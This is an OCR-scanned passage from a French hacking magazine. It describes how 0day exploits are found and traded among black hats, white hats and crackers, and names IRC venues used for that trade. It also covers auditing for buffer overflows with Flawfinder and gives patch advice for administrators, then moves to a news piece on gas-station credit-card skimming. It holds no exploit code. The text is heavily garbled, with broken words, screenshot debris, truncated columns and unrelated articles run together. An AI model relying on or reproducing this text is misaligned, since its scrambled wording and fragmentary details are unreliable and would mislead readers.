siste a utiliser certaines astuces en lement, partagent leurs rap-
ports.

Inutile donc de perdre vo-
tre temps en faisant recher-
cher “Odays Exploits” a google
KEYWORDS, car méme s'il vous
dénichait quelque chose, il ne s'agi-
rait-la que d'exploits déja utilisés par
des centaines de personnes.

Mettre a disposition un Oday sur des
sites lui fait donc perdre toute valeur
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effective, puisque tout visiteur peut
l'utiliser. |l sera alors rapidement
connu de tous et le bug en question
sera vite corrige...

.: Biack hats,
Un univers mysterieux

Généralement, on appelle “black
hats”, traduit littéralement par cha-
peaux noirs, les hackers ayant tout
intérét a ne pas dévoiler leurs dé-

couvertes. Ces petits grou-
pes sont en princi-
pe formeés de
quelgues

personnes qui se connaissent bien
et se font confiance, dans le but de
partager des bugs 0days doc, et tool,
utilisés pour l'espionnage d'entrepri-
ses et de milieux d'affaires. Program-
meurs, hackers, experts en electroni-
que et telecommunications, tels sont
les profils de ces black hats qui se
réeunissent tous les jours pour coope-
rer, en denichant de nouveaux bugs
et en y écrivant des exploits, géne-
ralement vendus ensuite a des en-
treprises ou organisations gouver-
nementales.

Face a eux, les “white hats”, tra-
duit littéralement par chapeaux
blancs, des hackers eux aus-
si mais qui s’opposent au pre-
mier clan dans la mesure ou
ils “devoilent publiqguement
leur savoir”, en partageant
par le biais de vrais rap-
ports, leurs découvertes
qui, parfois, s'accompa-
gnent de patchs de sé-
curité permettant de “cal-
feutrer” la vulnérabilité
deécouverte.

:: Grackers
et echange de
||0naysn

Dans l'univers black hats
conire white hats, les crac-
kers entrent malheureuse-
ment également en jeu. Des
utilisateurs malicieux qui s'infil-
trent dans des centaines de ser-
veurs grace a l'utilisation d'un seul
et unique exploit, en causant géné-
ralement des dégats : des déface-
ments a la suppression a propre-
ment dit de données sensibles. lIs
échangent des informations et 0Odays
pour que leur collection soit plus

(@®® [IT1) HACKING

efficace et complete. A la question
plutét banale : “comment y parvient-
on ?”, il existe une réponse simple :
par le biais de I'échange.

E PREN N | Terminp - bathym guris -
Eile Modifica Mostra Terminale ol Jusds

Prenons un exemple concret : si le
“cracker X" n'a qu’un exploit Oday
pour le démon tcpdump et souhaite
également disposer d'un exploit Oday
pour apache, dans la mesure ou ce
dernier renferme plusieurs cibles vul-
nérables, il se met alors a échan-
ger son Qday avec celui du “cracker
Y”, de facon a disposer de deux ex-
ploits Odays pour étendre son “pou-
voir d'action”. L'approche des black
hats est, quant a elle, totalement dif-
férente, puisqu'ils gardent le secret
de leurs découvertes et ne le par-
tagent qu'avec un cercle d'élus res-
treint.

:: Réseaux d'échange et
politigues de partage

Concernant les crackers, le réseau
est bien sir I'outil e plus utilisé pour
I'échange de ces Odays. Ces individus
sans aucun lien, se rencontrent dans
des forums ou IRC/ICQ/JABBER chat,
pour effectuer des echanges répondant
a leurs intéréts.

Parmi les elé-
ments phares :
#darkent du re-
seau irc.efnet.
org et les dif-

féerents sa-
lons virtuels
(rooms) du

réseadu irc.
gigachat.
net. Les
hackers
préfe-

rent en
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revanche se rencontrer personnelle-
ment dans des brasseries ou pubs, ou
ils peuvent tranquillement discuter et
partager leurs savoirs. Mais ils recou-
rent également a des services Internet,
avec un support de cryptage adapté.
Tandis gue les premiers s'adonnent a
un véritable troc capitaliste menant par-
fois a d’énormes escroqueries, les se-
conds réalisent tout sim-
plement leur partage
sur la base de l'es-
time, de la coo-
pération et de la
confiance. Les
White hats,
comme nous
l'avons dit pre-
cédemment,
signalent la vul-
nérabilité détec-
tée a 'UPSTREAM,
et une fois le patch in-
tégre pour corriger la faille, rendent pu-
blique leur étude technigue.

:: Comment s'emparer
de vuinérahilites Odays

Comme cela va sans dire, la
meilleure technique pour entrer
en possession des Odays, consis-
te a faire de l'audit informatique.
Cette action suppose la connais-
sance du langage de programma-
tion utilisé par le software qui se-
ra contrélé. On peut toutefois utili-
ser des softwares spécialisés dans
le scan de vulnérabilités. Le premier
d'entre tous ? Flawfinder, un softwa-
re vraiment intéressant qui se ba-
se sur des principes simples. Flaw-
finder part a la recherche de buffer
overflow en analysant les variables,
et en émettant un rapport détermi-
nant une variable vulnerable et une
méthode d'exploiting.

:: Astuces efficaces
pour étre informeés

®ic : Terminale - bathymisquo -

| Flle Modifica Mostra Terminale Wal Guida

sur les Odays

Les administrateurs sont
quant a eux également con-
cernés, mais en tant que vic-
times. Malheureusement, com-
me nous I'avons déja dit, au de-
but, personne ne peut agir con-
tre les Odays, car la vulnerabi-
lité est inconnue. On ne peut
donc pas utiliser de patchs spé-
cifigues. Mais t6t ou tard, quel-

Les objectifs les plus visés sont bien
sir les sites web, dans la mesure ol
ils sont plus simples a compromettre.
Parfois, ils ne sont gue compromis, mais
sont soumis la plupart du temps a des
défacements. Jusque-la tout va bien,
mais comment explique-t-on le fait que
les victimes les plus courantes soient
justement les sites web ? Ce demon a
de nombreuses vulnérabilités car il se
met & interagir avec de nombreux types
de scripting, tels que php, cgi, asp, jsp,
etc., et on sait que les bugs trouvés dans
ces scripts sont nombreux et, dans cer-
tains cas, tres dangereux.

p 30 hackernewsmagazine

gu'un trouve une solution et la
dévoile sur le site officiel du ser-
vice qui a permis a une multitude
d’utilisateurs d’infecter un certain
nombre de systémes vulnérables.
Tous les administrateurs devraient ain-
si toujours mettre a jour leur systeme.
Les modalités sont simples et trés
efficaces : intégrez parmi vos favoris
des sites spécialisés dans la sécuri-
té, tels que www.securityfocus.com,
packetstormsecurity.nl, www.cert.
org et consultez-les tous les jours,
notamment les rubriques patch/se-
curity. Autre point fondamental : ins-
crivez-vous a la mailing list de bug-
traq de fagon a recevoir les derniéres
infos en matiére de vulnérabilités.
Voici en outre un petit conseil :

consacrez un compte de messag
a bugtrag de facon a tout avoir
les yeux et éviter toute confusio

Parmi tous les mails qui vous
viendront, sélectionnez ceux
vous concernent, comme par ex
ple ceux qui traitent de bugs en s
php (si vous l'utilisez), cgi, apa
unix, iis, etc.. Effectuez vos regl
en fonction de vos paramétres s
me de facon a étre toujours ten
courant des derniéres nouveauts

=: i 12 chasse
du huffer overflow

En analysant le software “f
on tombe sur “go.c”, la so
d'une partie du software qui
tient le code reporté dans le
www.hackernewsmagazine.fr.
le trouver, suivez les instruction
portées dans l'encadré en ba
page.
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Ces derniers utilisent en effet nimporte
guel moyen pour s'emparer de nos car-
tes de crédit,

“Contrélez toujours les stations-service
gue vous fréquentez”, tel est le consell
donné par la Police a notre rédaction. En
juin dernier, dans la ville de Saint-Vin-
cent-de-Tyrosse (dans le sud de la Fran-
ce) quelque 500 automobilistes ont été
victime du clonage de leur carte de cré-
dit, un clonage réalisé de facon plutét dé-
concertante. Tandis gue nos conseillers
financiers persistent a dire que nos car-
tes de crédit sont totalement & I'abri du pi-
ratage, les cybervoleurs nous rappelient,
quant a eux, gu'ils ne manquent pas d'in-
géniosite. Grace a un appareil électroni-

LBke/onatekdeshcarteskaererenitnga
dussiuanfeureuxentEgoner]

que fixé aux lecteurs de cartes de cré-
dit des pompes a essence, les policiers
charges de l'affaire ont decouvert que
quelgue 30 000 euros avaient été sous-
traits des comptes des automaobilistes.
Les voleurs ont agi en France, mais ont
utilisé ces informations en ltalie, a Rome
et Milan, dans les minutes qui ont suivi.

Pour agir, les pi-
rates installent sur la pompe un faux lec-
teur de cartes de crédit. Le comble, clest
que le client peut réellement prendre de
I'essence. Soyez donc toujours vigilants
et assurez-vous que la pompe a essence
ne présente aucun signe d'endommage-
ment. Le pirate attend que le client inse-
re sa carte de crédit dans la pompe équi-
pée du piege et un petit lecteur de ban-
de magnetique intercepte ses données,
enregistrées ensuite dans le dispositif.
Autre possibilité : les données sont en-
voyees par Wi-Fi a quelgues dizaines de
meétres du piége. Pour le code, c'est enco-
re plus simple. Aujourd'hui, les pirates in-
terceptent les données a distance grace a
une mini-caméra sans fil. lls doivent jus-
te filmer les doigts du client et le code qu'il
compose, Une operation qui ne dure que
cing secondes. En outre, ces escroes peu-
vent également cloner directement la car-

famaisiete

te de crédit en copiant la bande magnéti-
que piratée sur une carte vierge. Malheu-
reusement pour les clients, la toute dernié-
re mode consiste a vendre leurs données |
sur des sites Internet spécialisés dans
ce genre de mauvais coups. Voila pour-
quoi un client cloné dans le Nord de ['lta-
lie pourrait voir son propre compte chuter
vertigineusement depuis la France I Bz
pagne ou 'Ukraine.

Bien que la moyenne des vols
dans les comptes courants tourne autour
de 2 000/2 500 euros, des cas plus dra-
matiques ont également été signalés.
Les pirates gagnent aussi de l'argent sur
la revente de ces Whitecard. Les tarifs
sont compris dans une fourchette de 10
a 100 euros, en fonction des informations |
bancaires. Des serveurs IRC “privés” se
sont spécialisés dans ce genre de com-
merce et se cachent le plus souvent dans
les pays de I'Est ou au Brésil. Derniére re-
commandation ; la prudence. Si vous tom-
bez surl'une de ces stations, ne jouez pas
au héeros, mais appelez immédiatement
la Police ou les Gendarmes. Ne prenez
surtout aucune initiative car ces pirates
peuvent étre des personnes trés dange--
reuses.
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